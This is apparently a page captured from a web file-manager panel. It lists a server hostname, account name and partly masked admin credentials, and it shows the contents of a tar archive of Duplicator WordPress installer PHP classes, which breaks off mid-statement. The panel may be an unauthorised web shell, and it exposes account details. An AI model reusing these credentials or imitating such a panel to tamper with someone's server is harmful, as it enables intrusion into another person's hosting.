🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_937f8c22 / 2de9****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: Deploy.tar
Files/Filters.php 0000604 00000007634 15136251117 0007737 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Files; use Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use Duplicator\Libs\Snap\SnapIO; /** * Manage filters for extraction */ class Filters extends AbstractJsonSerializable { /** @var string[] */ protected $files = array(); /** @var string[] */ protected $dirsWithoutChilds = array(); /** @var string[] */ protected $dirs = array(); /** * Class contructor * * @param string[] $dirs dirs filters * @param string[] $dirsWithoutChilds dirs without child filters * @param string[] $files files filters */ public function __construct($dirs = array(), $dirsWithoutChilds = array(), $files = array()) { $this->files = (array) $files; $this->dirs = (array) $dirs; $this->dirsWithoutChilds = (array) $dirsWithoutChilds; } /** * Check if passe path is filterd * * @param string $path path to check * * @return bool */ public function isFiltered($path) { if (in_array($path, $this->dirsWithoutChilds)) { return true; } foreach ($this->dirs as $dirFilter) { if (SnapIO::isChildPath($path, $dirFilter)) { return true; } } return in_array($path, $this->files); } /** * Add dir filter * * @param string $dir dir path * @param bool $withoutChild if true add dir filter without childs * * @return void */ public function addDir($dir, $withoutChild = false) { if ($withoutChild) { $this->dirsWithoutChilds[] = (string) $dir; } else { $this->dirs[] = (string) $dir; } } /** * Add file fo filters * * @param string $file file path * * @return void */ public function addFile($file) { $this->files[] = (string) $file; } /** * Optimize and sort filters * * @return bool */ public function optmizeFilters() { $this->files = array_values(array_unique($this->files)); $this->dirsWithoutChilds = array_values(array_unique($this->dirsWithoutChilds)); $this->dirs = array_values(array_unique($this->dirs)); $optimizedDirs = array(); $optimizedFiles = array(); for ($i = 0; $i < count($this->dirs); $i++) { $exclude = false; for ($j = 0; $j < count($this->dirs); $j++) { if ($i === $j) { continue; } if (SnapIO::isChildPath($this->dirs[$i], $this->dirs[$j])) { $exclude = true; break; } } if (!$exclude) { $optimizedDirs[] = $this->dirs[$i]; } } $optimizedDirs = SnapIO::sortBySubfoldersCount($optimizedDirs); foreach ($this->files as $file) { $exclude = false; foreach ($optimizedDirs as $cDir) { if (SnapIO::isChildPath($file, $cDir)) { $exclude = true; break; } } if (!$exclude) { $optimizedFiles[] = $file; } } $this->files = $optimizedFiles; $this->dirs = $optimizedDirs; return true; } /** * Get the value of files * * @return string[] */ public function getFiles() { return $this->files; } /** * Get the value of dirs * * @return string[] */ public function getDirs() { return $this->dirs; } /** * Get the value of dirsWithoutChilds * * @return string[] */ public function getDirsWithoutChilds() { return $this->dirsWithoutChilds; } } Files/RemoveFiles.php 0000604 00000020460 15136251117 0010537 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Files; use DUP_Extraction; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapWP; use DUPX_ArchiveConfig; use DUPX_Custom_Host_Manager; use DUPX_InstallerState; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; use Error; use Exception; class RemoveFiles { /** @var Filters */ protected $removeFilters = null; /** * Class contructor * * @param Filters $filters fles filters */ public function __construct(Filters $filters) { $this->removeFilters = $filters; } /** * Remove file if action is enableds * * @return void */ public function remove() { $paramsManager = PrmMng::getInstance(); switch ($paramsManager->getValue(PrmMng::PARAM_ARCHIVE_ACTION)) { case DUP_Extraction::ACTION_REMOVE_ALL_FILES: $this->removeAllFiles(); break; case DUP_Extraction::ACTION_REMOVE_WP_FILES: $this->removeWpFiles(); break; case DUP_Extraction::ACTION_REMOVE_UPLOADS: $this->removeUploads(); break; case DUP_Extraction::ACTION_DO_NOTHING: break; default: throw new Exception('Invalid engine action ' . $paramsManager->getValue(PrmMng::PARAM_ARCHIVE_ACTION)); } } /** * This function remove files before extraction * * @param string[] $folders Folders lists * * @return void */ protected function removeFiles($folders = array()) { Log::info('REMOVE FILES'); $excludeFiles = array_map(function ($value) { return '/^' . preg_quote($value, '/') . '$/'; }, $this->removeFilters->getFiles()); $excludeFolders = array_map(function ($value) { return '/^' . preg_quote($value, '/') . '(?:\/.*)?$/'; }, $this->removeFilters->getDirs()); $excludeFolders[] = '/.+\/backups-dup-(lite|pro)$/'; $excludeDirsWithoutChilds = $this->removeFilters->getDirsWithoutChilds(); foreach ($folders as $folder) { Log::info('REMOVE FOLDER ' . Log::v2str($folder)); SnapIO::regexGlobCallback($folder, function ($path) use ($excludeDirsWithoutChilds) { foreach ($excludeDirsWithoutChilds as $excludePath) { if (SnapIO::isChildPath($excludePath, $path)) { return; } } $result = (is_dir($path) ? rmdir($path) : unlink($path)); if ($result == false) { $lastError = error_get_last(); $message = (isset($lastError['message']) ? $lastError['message'] : 'Couldn\'t remove file'); RemoveFiles::reportRemoveNotices($path, $message); } }, array( 'regexFile' => $excludeFiles, 'regexFolder' => $excludeFolders, 'checkFullPath' => true, 'recursive' => true, 'invert' => true, 'childFirst' => true )); } } /** * Remove worpdress core files * * @return void */ protected function removeWpFiles() { try { Log::info('REMOVE WP FILES'); Log::resetTime(Log::LV_DEFAULT, false); $paramsManager = PrmMng::getInstance(); $absDir = SnapIO::safePathTrailingslashit($paramsManager->getValue(PrmMng::PARAM_PATH_WP_CORE_NEW)); if (!is_dir($absDir) || !is_readable($absDir)) { return false; } $removeFolders = array(); if (!FilterMng::filterWpCoreFiles() && ($dh = opendir($absDir))) { while (($elem = readdir($dh)) !== false) { if ($elem === '.' || $elem === '..') { continue; } if (SnapWP::isWpCore($elem, SnapWP::PATH_RELATIVE)) { $fullPath = $absDir . $elem; if (is_dir($fullPath)) { $removeFolders[] = $fullPath; } else { if (is_writable($fullPath)) { unlink($fullPath); } } } } closedir($dh); } $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_NEW); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_NEW); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_NEW); $this->removeFiles(array_unique($removeFolders)); Log::logTime('FOLDERS REMOVED', Log::LV_DEFAULT, false); } catch (Exception $e) { Log::logException($e); } catch (Error $e) { Log::logException($e); } } /** * Remove ony uploads files * * @return void */ protected function removeUploads() { try { Log::info('REMOVE UPLOADS FILES'); Log::resetTime(Log::LV_DEFAULT, false); $paramsManager = PrmMng::getInstance(); $removeFolders = array(); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_NEW); $this->removeFiles(array_unique($removeFolders)); Log::logTime('FOLDERS REMOVED', Log::LV_DEFAULT, false); } catch (Exception $e) { Log::logException($e); } catch (Error $e) { Log::logException($e); } } /** * Remove all files before extraction * * @return void */ protected function removeAllFiles() { try { Log::info('REMOVE ALL FILES'); Log::resetTime(Log::LV_DEFAULT, false); $pathsMapping = DUPX_ArchiveConfig::getInstance()->getPathsMapping(); $folders = is_string($pathsMapping) ? array($pathsMapping) : array_values($pathsMapping); $this->removeFiles($folders); Log::logTime('FOLDERS REMOVED', Log::LV_DEFAULT, false); } catch (Exception $e) { Log::logException($e); } catch (Error $e) { Log::logException($e); } } /** * * @param string $fileName package relative path * @param string $errorMessage error message * * @return void */ public static function reportRemoveNotices($fileName, $errorMessage) { if (DUPX_Custom_Host_Manager::getInstance()->skipWarningExtractionForManaged($fileName)) { // @todo skip warning for managed hostiong (it's a temp solution) return; } Log::info('Remove ' . $fileName . ' error message: ' . $errorMessage); if (is_dir($fileName)) { // Skip warning message for folders return; } $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (SnapWP::isWpCore($fileName, SnapWP::PATH_RELATIVE)) { Log::info("FILE CORE REMOVE ERROR: {$fileName} | MSG:" . $errorMessage); $shortMsg = 'Can\'t remove wp core files'; $errLevel = DUPX_NOTICE_ITEM::CRITICAL; $idManager = 'wp-remove-error-file-core'; } else { Log::info("FILE REMOVE ERROR: {$fileName} | MSG:" . $errorMessage); $shortMsg = 'Can\'t remove files'; $errLevel = DUPX_NOTICE_ITEM::HARD_WARNING; $idManager = 'wp-remove-error-file-no-core'; } $longMsg = 'FILE: <b>' . htmlspecialchars($fileName) . '</b><br>Message: ' . htmlspecialchars($errorMessage) . '<br><br>'; $nManager->addBothNextAndFinalReportNotice( array( 'shortMsg' => $shortMsg, 'longMsg' => $longMsg, 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'level' => $errLevel, 'sections' => array('files') ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, $idManager ); } } Files/FilterMng.php 0000604 00000026032 15136251117 0010207 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Files; use DUP_Extraction; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapWP; use DUPX_ArchiveConfig; use DUPX_InstallerState; use DUPX_Package; use DUPX_Security; use DUPX_Server; use Exception; class FilterMng { /** * Return filter (folder/files) for extraction * * @param string $subFolderArchive sub folder archive * * @return Filters */ public static function getExtractFilters($subFolderArchive) { Log::info("INITIALIZE FILTERS"); $paramsManager = PrmMng::getInstance(); $archiveConfig = DUPX_ArchiveConfig::getInstance(); $result = new Filters(); $filterFilesChildOfFolders = array(); $acceptFolderOfFilterChilds = array(); $result->addFile($archiveConfig->installer_backup_name); $result->addDir(ltrim($subFolderArchive . '/' . DUP_Extraction::DUP_FOLDER_NAME, '/')); if (self::filterWpCoreFiles()) { $relAbsPath = $archiveConfig->getRelativePathsInArchive('abs'); $relAbsPath .= (strlen($relAbsPath) > 0 ? '/' : ''); $rootWpCoreItems = SnapWP::getWpCoreFilesListInFolder(); foreach ($rootWpCoreItems['dirs'] as $name) { $result->addDir($relAbsPath . $name); } foreach ($rootWpCoreItems['files'] as $name) { $result->addFile($relAbsPath . $name); } } if (self::filterAllExceptPlugingThemesMedia()) { Log::info('FILTER ALL EXCEPT MEDIA'); $filterFilesChildOfFolders[] = $archiveConfig->getRelativePathsInArchive('home'); $filterFilesChildOfFolders[] = $archiveConfig->getRelativePathsInArchive('wpcontent'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('uploads'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('wpcontent') . '/blogs.dir'; $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('plugins'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('muplugins'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('themes'); } if (self::filterExistsPlugins()) { $newPluginDir = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_NEW); if (is_dir($newPluginDir)) { $relPlugPath = $archiveConfig->getRelativePathsInArchive('plugins'); $relPlugPath .= (strlen($relPlugPath) > 0 ? '/' : ''); SnapIO::regexGlobCallback($newPluginDir, function ($item) use ($relPlugPath, &$result) { if (is_dir($item)) { $result->addDir($relPlugPath . pathinfo($item, PATHINFO_BASENAME)); } else { $result->addFile($relPlugPath . pathinfo($item, PATHINFO_BASENAME)); } }, array()); } $newMuPluginDir = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_NEW); if (is_dir($newMuPluginDir)) { $relMuPlugPath = $archiveConfig->getRelativePathsInArchive('muplugins'); $relMuPlugPath .= (strlen($relMuPlugPath) > 0 ? '/' : ''); SnapIO::regexGlobCallback($newMuPluginDir, function ($item) use ($relMuPlugPath, &$result) { if (is_dir($item)) { $result->addDir($relMuPlugPath . pathinfo($item, PATHINFO_BASENAME)); } else { $result->addFile($relMuPlugPath . pathinfo($item, PATHINFO_BASENAME)); } }, array()); } $newWpContentDir = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW) . '/'; if (is_dir($newWpContentDir)) { $relContentPath = $archiveConfig->getRelativePathsInArchive('wpcontent'); $relContentPath .= (strlen($relContentPath) > 0 ? '/' : ''); foreach (SnapWP::getDropinsPluginsNames() as $dropinsPlugin) { if (file_exists($newWpContentDir . $dropinsPlugin)) { $result->addFile($relContentPath . $dropinsPlugin); } } } } if (self::filterExistsThemes()) { $newThemesDir = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW) . '/themes'; if (is_dir($newThemesDir)) { $relThemesPath = $archiveConfig->getRelativePathsInArchive('themes'); $relThemesPath .= (strlen($relContentPath) > 0 ? '/' : ''); SnapIO::regexGlobCallback($newThemesDir, function ($item) use ($relThemesPath, &$result) { if (is_dir($item)) { $result->addDir($relThemesPath . pathinfo($item, PATHINFO_BASENAME)); } else { $result->addFile($relThemesPath . pathinfo($item, PATHINFO_BASENAME)); } }, array()); } } self::filterAllChildsOfPathExcept($result, $filterFilesChildOfFolders, $acceptFolderOfFilterChilds); $result->optmizeFilters(); return $result; } /** * Create filters for remove files * * @param Filters|null $baseFilters base extraction filters * * @return Filters */ public static function getRemoveFilters(Filters $baseFilters = null) { $archiveConfig = DUPX_ArchiveConfig::getInstance(); $security = DUPX_Security::getInstance(); $result = new Filters(); if (!is_null($baseFilters)) { // convert all relative path from archive to absolute destination path foreach ($baseFilters->getDirs() as $dir) { $result->addDir($archiveConfig->destFileFromArchiveName($dir)); } foreach ($baseFilters->getDirsWithoutChilds() as $dir) { $result->addDir($archiveConfig->destFileFromArchiveName($dir), true); } foreach ($baseFilters->getFiles() as $file) { $result->addFile($archiveConfig->destFileFromArchiveName($file)); } } $result->addFile($security->getArchivePath()); $result->addFile($security->getBootFilePath()); $result->addFile($security->getBootLogFile()); $result->addDir(DUPX_INIT); foreach (DUPX_Server::getWpAddonsSiteLists() as $addonPath) { $result->addDir($addonPath); } $result->optmizeFilters(); return $result; } /** * This function update filters from $filterFilesChildOfFolders and $acceptFolders values * * @param Filters $filters Filters * @param string[] $filterFilesChildOfFolders Filter contents of these paths * @param string[] $acceptFolders Folders not to filtered * * @return void */ private static function filterAllChildsOfPathExcept(Filters $filters, $filterFilesChildOfFolders, $acceptFolders = array()) { //No sense adding filters if not folders specified if (!is_array($filterFilesChildOfFolders) || count($filterFilesChildOfFolders) == 0) { return; } $acceptFolders = array_unique($acceptFolders); $filterFilesChildOfFolders = array_unique($filterFilesChildOfFolders); Log::info('ACCEPT FOLDERS ' . Log::v2str($acceptFolders), Log::LV_DETAILED); Log::info('CHILDS FOLDERS ' . Log::v2str($filterFilesChildOfFolders), Log::LV_DETAILED); DUPX_Package::foreachDirCallback(function ($info) use ($acceptFolders, $filterFilesChildOfFolders, &$filters) { if (in_array($info->p, $filterFilesChildOfFolders)) { return; } foreach ($acceptFolders as $acceptFolder) { if (SnapIO::isChildPath($info->p, $acceptFolder, true)) { return; } } $parentFolder = SnapIO::getRelativeDirname($info->p); if (in_array($parentFolder, $filterFilesChildOfFolders)) { $filters->addDir($info->p); } }); DUPX_Package::foreachFileCallback(function ($info) use ($filterFilesChildOfFolders, &$filters) { $parentFolder = SnapIO::getRelativeDirname($info->p); if (in_array($parentFolder, $filterFilesChildOfFolders)) { $filters->addFile($info->p); } }); Log::info('FILTERS RESULT ' . Log::v2str($filters), log::LV_DETAILED); } /** * * @return boolean * @throws Exception */ public static function filterWpCoreFiles() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: return false; case DUP_Extraction::FILTER_SKIP_WP_CORE: case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } /** * * @return boolean * @throws Exception */ protected static function filterExistsPlugins() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: case DUP_Extraction::FILTER_SKIP_WP_CORE: return false; case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } /** * * @return boolean * @throws Exception */ protected static function filterExistsThemes() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: case DUP_Extraction::FILTER_SKIP_WP_CORE: return false; case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } /** * * @return boolean * @throws Exception */ protected static function filterAllExceptPlugingThemesMedia() { switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES)) { case DUP_Extraction::FILTER_NONE: case DUP_Extraction::FILTER_SKIP_WP_CORE: case DUP_Extraction::FILTER_SKIP_CORE_PLUG_THEMES: return false; case DUP_Extraction::FILTER_ONLY_MEDIA_PLUG_THEMES: return true; default: throw new Exception('Unknown filter type'); } } } DupArchive/DawsLogger.php 0000604 00000003003 15136251117 0011337 0 ustar 00 <?php /** * Logger for dup archive * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\DupArchive\DupArchiveLoggerBase; use Exception; /** * Logger for dup archive */ class DawsLogger extends DupArchiveLoggerBase { /** * Init logger * * @return void */ public static function init() { set_error_handler(array(__CLASS__, "terminateMissingVariables"), E_ERROR); } /** * Log function * * @param string $s string to log * @param boolean $flush if true flish log * @param callback|null $callingFunctionOverride call back function * * @return void */ public function log($s, $flush = false, $callingFunctionOverride = null) { Log::info($s, Log::LV_DEFAULT, $flush); } /** * Throw exception on php error * * @param int $errno errno * @param string $errstr error message * @param string $errfile file * @param string $errline line * * @return void */ public static function terminateMissingVariables($errno, $errstr, $errfile, $errline) { Log::info("ERROR $errno, $errstr, {$errfile}:{$errline}"); /** * INTERCEPT ON processRequest AND RETURN JSON STATUS */ throw new Exception("ERROR:{$errfile}:{$errline} | " . $errstr, $errno); } } DupArchive/DawsExpandState.php 0000604 00000010421 15136251117 0012342 0 ustar 00 <?php /** * Dup archvie expand state * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use Duplicator\Libs\DupArchive\States\DupArchiveExpandState; use Duplicator\Libs\DupArchive\Utils\DupArchiveUtil; use Duplicator\Libs\Snap\SnapIO; use stdClass; class DawsExpandState extends DupArchiveExpandState { protected static $instance = null; const STATE_FILE = 'expandstate.json'; /** * Class constructor */ public function __construct() { $this->initMembers(); } /** * Remove state file * * @return bool */ public static function purgeStatefile() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; if (!file_exists($stateFilepath)) { return true; } return SnapIO::rm($stateFilepath, false); } /** * * @param boolean $reset reset state * * @return self */ public static function getInstance($reset = false) { if ((self::$instance == null) && (!$reset)) { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; self::$instance = new self(); if (file_exists($stateFilepath)) { $stateHandle = SnapIO::fopen($stateFilepath, 'rb'); // RSR we shouldn't need read locks and it seems to screw up on some boxes anyway.. SnapIO::flock($stateHandle, LOCK_EX); $stateString = fread($stateHandle, filesize($stateFilepath)); $data = json_decode($stateString, false); self::$instance->setFromData($data); self::$instance->fileRenames = (array) (self::$instance->fileRenames); // SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } else { $reset = true; } } if ($reset) { self::$instance = new self(); self::$instance->reset(); } return self::$instance; } /** * Init state from data * * @param stdClass $data data * * @return void */ private function setFromData($data) { foreach ($data as $key => $val) { if (!property_exists($this, $key)) { continue; } $this->{$key} = $val; } } /** * Reset state * * @return void */ public function reset() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; $stateHandle = SnapIO::fopen($stateFilepath, 'w'); SnapIO::flock($stateHandle, LOCK_EX); $this->initMembers(); SnapIO::fwrite($stateHandle, json_encode($this)); SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } /** * Save state * * @return void */ public function save() { $stateFilepath = dirname(__FILE__) . '/' . self::STATE_FILE; $stateHandle = SnapIO::fopen($stateFilepath, 'w'); SnapIO::flock($stateHandle, LOCK_EX); DupArchiveUtil::tlog("saving state"); SnapIO::fwrite($stateHandle, json_encode($this)); SnapIO::flock($stateHandle, LOCK_UN); SnapIO::fclose($stateHandle); } /** * Init props * * @return void */ private function initMembers() { $this->currentFileHeader = null; $this->archiveOffset = 0; $this->archiveHeader = 0; $this->archivePath = null; $this->basePath = null; $this->currentFileOffset = 0; $this->failures = array(); $this->isCompressed = false; $this->startTimestamp = time(); $this->timeSliceInSecs = -1; $this->working = false; $this->validateOnly = false; $this->filteredDirectories = array(); $this->filteredFiles = array(); $this->fileRenames = array(); $this->directoryModeOverride = -1; $this->fileModeOverride = -1; $this->lastHeaderOffset = -1; $this->throttleDelayInUs = 0; $this->timerEnabled = true; } } DupArchive/Daws.php 0000604 00000016376 15136251117 0010220 0 ustar 00 <?php /** * Dup archive expander * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Deploy\DupArchive; use DupArchiveStateBase; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\DupArchive\DupArchiveEngine; use Duplicator\Libs\DupArchive\Processors\DupArchiveFileProcessor; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapUtil; use DUPX_ArchiveConfig; use DUPX_Package; use Exception; use stdClass; class Daws { const DEFAULT_WORKER_TIME = 18; protected $lock_handle = null; protected $failureCallback = null; protected $lockFile = ''; protected $cancelFile = ''; /** * Class contruct */ public function __construct() { DawsLogger::init(); date_default_timezone_set('UTC'); // Some machines don’t have this set so just do it here. DupArchiveEngine::init(new DawsLogger(), null); $this->lockFile = DUPX_INIT . '/dup-installer-dawslock__' . DUPX_Package::getPackageHash() . '.bin'; $this->cancelFile = DUPX_INIT . '/dup-installer-dawscancel__' . DUPX_Package::getPackageHash() . '.bin'; } /** * Failure callback * * @param callable $callback callback * * @return void */ public function setFailureCallBack($callback) { if (is_callable($callback)) { $this->failureCallback = $callback; } } /** * Extract dup archvie * * @param array $params dup archvie params * * @return stdClass */ public function processRequest($params) { $retVal = new stdClass(); $retVal->pass = false; $action = $params['action']; $initializeState = false; $archiveConfig = DUPX_ArchiveConfig::getInstance(); if (!DupArchiveFileProcessor::setNewFilePathCallback(array($archiveConfig, 'destFileFromArchiveName'))) { Log::info('ERROR: CAN\'T SET THE PATH SE CALLBACK FUNCTION'); } else { Log::info('PATH SE CALLBACK FUNCTION OK ', Log::LV_DEBUG); } $throttleDelayInMs = SnapUtil::getArrayValue($params, 'throttle_delay', false, 0); if ($action == 'start_expand') { Log::info('DAWN START EXPAND'); $initializeState = true; DawsExpandState::purgeStatefile(); SnapIO::rm($this->cancelFile); $archiveFilepath = SnapUtil::getArrayValue($params, 'archive_filepath'); $restoreDirectory = SnapUtil::getArrayValue($params, 'restore_directory'); $workerTime = SnapUtil::getArrayValue($params, 'worker_time', false, self::DEFAULT_WORKER_TIME); $filteredDirectories = SnapUtil::getArrayValue($params, 'filtered_directories', false, array()); $excludedDirWithoutChilds = SnapUtil::getArrayValue($params, 'excludedDirWithoutChilds', false, array()); $filteredFiles = SnapUtil::getArrayValue($params, 'filtered_files', false, array()); $fileRenames = SnapUtil::getArrayValue($params, 'fileRenames', false, array()); $fileModeOverride = SnapUtil::getArrayValue($params, 'file_mode_override', false, 0644); $includedFiles = SnapUtil::getArrayValue($params, 'includedFiles', false, array()); $directoryModeOverride = SnapUtil::getArrayValue($params, 'dir_mode_override', false, 0755); $keepFileTime = SnapUtil::getArrayValue($params, 'keep_file_time', false, false); $action = 'expand'; } else { Log::info('DAWN CONTINUE EXPAND'); } if ($action == 'expand') { $expandState = DawsExpandState::getInstance($initializeState); $this->lock_handle = SnapIO::fopen($this->lockFile, 'c+'); SnapIO::flock($this->lock_handle, LOCK_EX); if ($initializeState || $expandState->working) { if ($initializeState) { $expandState->archivePath = $archiveFilepath; $expandState->working = true; $expandState->timeSliceInSecs = $workerTime; $expandState->basePath = $restoreDirectory; $expandState->filteredDirectories = $filteredDirectories; $expandState->excludedDirWithoutChilds = $excludedDirWithoutChilds; $expandState->includedFiles = $includedFiles; $expandState->filteredFiles = $filteredFiles; $expandState->fileRenames = $fileRenames; $expandState->fileModeOverride = $fileModeOverride; $expandState->directoryModeOverride = $directoryModeOverride; $expandState->keepFileTime = $keepFileTime; $expandState->save(); } $expandState->throttleDelayInUs = 1000 * $throttleDelayInMs; DupArchiveEngine::expandArchive($expandState); } if (!$expandState->working) { $deltaTime = time() - $expandState->startTimestamp; Log::info("DAWN EXPAND DONE, SECONDS: " . $deltaTime, Log::LV_DETAILED); if (count($expandState->failures) > 0) { Log::info('DAWN EXPAND ERRORS DETECTED'); foreach ($expandState->failures as $failure) { Log::info("{$failure->subject}:{$failure->description}"); if (is_callable($this->failureCallback)) { call_user_func($this->failureCallback, $failure); } } } } else { Log::info("DAWN EXPAND CONTINUE", Log::LV_DETAILED); } SnapIO::flock($this->lock_handle, LOCK_UN); $retVal->pass = true; $retVal->status = $this->getStatus($expandState); } elseif ($action == 'get_status') { /* @var $expandState DawsExpandState */ $expandState = DawsExpandState::getInstance($initializeState); $retVal->pass = true; $retVal->status = $this->getStatus($expandState); } elseif ($action == 'cancel') { if (!SnapIO::touch($this->cancelFile)) { throw new Exception("Couldn't update time on " . $this->cancelFile); } $retVal->pass = true; } else { throw new Exception('Unknown command.'); } session_write_close(); return $retVal; } /** * Get dup archive status * * @param DupArchiveStateBase $state dup archive state * * @return stdClass */ private function getStatus(DawsExpandState $state) { $ret_val = new stdClass(); $ret_val->archive_offset = $state->archiveOffset; $ret_val->archive_size = @filesize($state->archivePath); $ret_val->failures = $state->failures; $ret_val->file_index = $state->fileWriteCount; $ret_val->is_done = !$state->working; $ret_val->timestamp = time(); return $ret_val; } } Database/QueryFixes.php 0000604 00000027216 15136251117 0011073 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use DUPX_ArchiveConfig; use DUPX_DB_Functions; use DUPX_DB_Tables; use DUPX_DBInstall; use DUPX_InstallerState; use Exception; class QueryFixes extends AbstractJsonSerializable { const TEMP_POSTFIX = 't_'; const USER_DEFINER_REPLACE_PATTERN = "/^(\s*(?:\/\*!\d+\s)?\s*(?:CREATE.+)?DEFINER\s*=)([^\*\s]+)(.*)$/m"; const USER_DEFINER_REMOVE_PATTERN = "/^(\s*(?:\/\*!\d+\s)?\s*(?:CREATE.+)?)(DEFINER\s*=\s*\S+)(.*)$/m"; const USER_DEFINER_REMOVE_REPLACE = '$1 $3'; const SQL_SECURITY_INVOKER_PATTERN = "/^(\s*CREATE.+(?:PROCEDURE|FUNCTION)[\s\S]*)(BEGIN)([\s\S]*)$/"; const SQL_SECURITY_INVOKER_REPLACE = "$1SQL SECURITY INVOKER\n$2$3"; /** @var array */ protected $globalRules = array( 'search' => array(), 'replace' => array() ); /** @var array */ protected $tablesPrefixRules = array(); /** @var string */ protected $generatorLog = ''; /** * Class constructor */ public function __construct() { $this->rulesProcAndViews(); $this->rulesMySQLEngine(); $this->legacyCharsetAndCollation(); $this->rulesTableNames(); } /** * Filter props on json encode * * @return string[] */ public function __sleep() { $props = array_keys(get_object_vars($this)); return array_diff($props, array('generatorLog')); } /** * Write rules in log * * @return void */ public function logRules() { if (strlen($this->generatorLog) == 0) { Log::info('NO GENERAL QUERY FIXES'); } else { Log::info('QUERY FIXES'); Log::info($this->generatorLog); } if (count($this->globalRules['search']) > 0) { Log::info('QUERY FIXES GLOBAL RULES'); Log::incIndent(); foreach ($this->globalRules['search'] as $index => $search) { Log::info('SEARCH => ' . $search); Log::info('REPLACE => ' . $this->globalRules['replace'][$index] . "\n"); } Log::resetIndent(); } if (count($this->tablesPrefixRules) > 0) { Log::info('QUERY FIXES TABLES RULES'); Log::incIndent(); foreach ($this->tablesPrefixRules as $indexRulesSet => $ruleSet) { Log::info('RULESET ' . ($indexRulesSet + 1)); Log::incIndent(); foreach ($ruleSet['search'] as $index => $search) { Log::info('SEARCH => ' . $search); Log::info('REPLACE => ' . $ruleSet['replace'][$index] . "\n"); } Log::decIndent(); } Log::resetIndent(); } } /** * @param string $query query to fix * * @return string The query with appropriate substitutions done */ public function applyFixes($query) { $query = preg_replace($this->globalRules['search'], $this->globalRules['replace'], $query); foreach ($this->tablesPrefixRules as $ruleSet) { $query = preg_replace($ruleSet['search'], $ruleSet['replace'], $query); } return $query; } /** * Set search and replace rules * * @return void */ protected function rulesProcAndViews() { if (DUPX_InstallerState::isRestoreBackup()) { return; } if (PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_REMOVE_DEFINER)) { $this->globalRules['search'][] = self::USER_DEFINER_REMOVE_PATTERN; $this->globalRules['replace'][] = 